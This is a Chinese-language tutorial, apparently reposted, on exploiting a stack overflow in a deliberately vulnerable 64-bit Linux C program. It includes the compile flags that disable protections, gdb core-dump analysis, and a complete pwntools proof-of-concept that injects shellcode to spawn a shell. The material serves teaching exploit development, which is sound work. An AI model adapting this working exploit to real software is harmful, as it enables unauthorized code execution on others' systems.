内容简介:这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:利用这个漏洞的思路如下:使用pwntools中的cyclic生成cycle pyload,获取以下信息:
0x00 Target
#include <assert.h>
#include <unistd.h>
int vuln()
{
// Define variables
char arr[400];
int return_status;
// Grab user input
printf("What's your name?\n");
return_status = read(0, arr, 800);
// Print user input
printf("Hey %s", arr);
// Return success
return 0;
}
int main(int argc, char * argv[])
{
vuln();
return 0;
}
这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:
- 虚拟机,Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic
- 使用如下GCC指令编译,关闭PIE(Position-independent Executable,指令位置无关可执行程序),关闭栈保护功能,启用栈可执行功能。
gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c
利用这个漏洞的思路如下:
- 将shellcode通过标准输入写入arr[400]数组;
- 覆盖vulr栈帧保存的上一级函数的返回地址为arr[400]的起始地址;
- 当函数调用ret指令时,跳转到arr[400]执行shellcode。
0x01 Fuzzing
使用pwntools中的cyclic生成cycle pyload,获取以下信息:
- arr[400]到栈帧中返回地址保存位置的offset;
- arr[400]的绝对地址,可以用vulr()栈帧的rbp和offset计算得到。
编写的Fuzzing程序如下:
def find_rbp():
cycle_payload = cyclic(512, n=8)
clean_corefile(COREDUMP)
# Generate coredump
p = process([VULR_BINARY])
p.sendline(cycle_payload)
p.wait_for_close()
# Analise coredump
core = Coredump(COREDUMP)
clean_corefile(COREDUMP)
# Find RBP address, RBP address is equal to RBP after leaveq
return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)
很多基于32位 Linux 系统讲解栈溢出的教程中采用根据EIP中存储的值来确定offset,但这个方法在x64系统中不适用。具体地,注意程序生成的coredump文件:
(gdb) disas Dump of assembler code for function vuln: 0x00000000004005c7 <+0>: push %rbp 0x00000000004005c8 <+1>: mov %rsp,%rbp 0x00000000004005cb <+4>: sub $0x1a0,%rsp 0x00000000004005d2 <+11>: lea 0x11b(%rip),%rdi # 0x4006f4 0x00000000004005d9 <+18>: callq 0x4004b0 <puts@plt> 0x00000000004005de <+23>: lea -0x1a0(%rbp),%rax 0x00000000004005e5 <+30>: mov $0x320,%edx 0x00000000004005ea <+35>: mov %rax,%rsi 0x00000000004005ed <+38>: mov $0x0,%edi 0x00000000004005f2 <+43>: callq 0x4004d0 <read@plt> 0x00000000004005f7 <+48>: mov %eax,-0x4(%rbp) 0x00000000004005fa <+51>: lea -0x1a0(%rbp),%rax 0x0000000000400601 <+58>: mov %rax,%rsi 0x0000000000400604 <+61>: lea 0xfb(%rip),%rdi # 0x400706 0x000000000040060b <+68>: mov $0x0,%eax 0x0000000000400610 <+73>: callq 0x4004c0 <printf@plt> 0x0000000000400615 <+78>: mov $0x0,%eax 0x000000000040061a <+83>: leaveq => 0x000000000040061b <+84>: retq End of assembler dump.
此时,RIP寄存器的值为:
(gdb) p $rip $1 = (void (*)()) 0x40061b <vuln+84>
说明retq指令执行还没有被完全执行,程序就发生了段错误。retq指令执行时,会检查栈中存储的返回地址是否合法。如合法,读入到rip寄存器并执行,如果不合法,将发出中断。此时,rip寄存器并没有读入栈中存储的返回地址
因此,不能通过分析rip来确定溢出的offset,但我们注意到leaveq已经获得了执行,栈中存放的rbp已经被覆盖,栈中存放的rbp值已经读入rbp寄存器,可以通过分析rbp来确定溢出的offset。
0x02 POC
由上,就可以编写出完整的POC代码了
#!/usr/bin/env python2
import os
from pwn import *
VULR_BINARY = './vuln2'
COREDUMP = './core'
context.update(arch='x86_64', os='linux')
def clean_corefile(corefile):
if os.path.exists(corefile):
os.remove(corefile)
def find_rbp():
cycle_payload = cyclic(512, n=8)
clean_corefile(COREDUMP)
# Generate coredump
p = process([VULR_BINARY])
p.sendline(cycle_payload)
p.wait_for_close()
# Analise coredump
core = Coredump(COREDUMP)
clean_corefile(COREDUMP)
# Find RBP address, RBP address is equal to RBP after leaveq
return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)
def poc_start():
shellcode = asm(shellcraft.sh())
rbp_address, rbp_offset = find_rbp()
payload = shellcode + asm('nop') * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64)
p = process([VULR_BINARY], stdin=PTY, stdout=PTY)
p.sendline(payload)
p.interactive()
poc_start()
执行shellcode后,即运行了一个shell
Reference
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Ordering Disorder
Khoi Vinh / New Riders Press / 2010-12-03 / USD 29.99
The grid has long been an invaluable tool for creating order out of chaos for designers of all kinds—from city planners to architects to typesetters and graphic artists. In recent years, web designers......一起来看看 《Ordering Disorder》 这本书的介绍吧!